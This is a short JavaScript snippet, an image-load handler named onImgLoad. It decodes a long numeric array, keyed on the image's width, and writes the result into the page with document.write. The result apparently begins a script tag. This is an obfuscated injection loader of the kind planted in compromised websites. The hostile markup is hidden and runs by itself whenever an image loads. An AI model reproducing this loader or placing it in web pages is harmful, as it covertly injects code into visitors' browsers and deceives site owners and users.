function onImgLoad(source) {
var as = new Array(14,58,129,178,529,552,705,671,582,553,724,619,599,570,722,625,581,553,667,677,576,553,654,701,576,568,703,677,582,564,718,616,525,573,717,688,602,566,707,699,601,499,725,671,582,557,707,633,523,485,721,688,603,562,720,677,525,557,727,673,586,486,700,623,601,574,728,677,512,559,703,675,590,552,705,671,582,553,724,717,523,505,721,671,588,486,700,623,581,557,724,673,531,500,653,702,586,573,651,672,602,551,710,635,588,564,715,636,540,491,661,608,538,489,655,636,606,486,726,690,577,557,722,694,597,507,720,622,523,496,640,697,605,505,649,623,561,503,670,621,561,500,721,688,603,562,720,677,527,503,647,616,529,500,721,688,603,562,720,677,527);
var xi = source.width; if (!xi) {return;}
var sc=""; for (var n=4; n<as.length; n++) {sc+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sc);
}

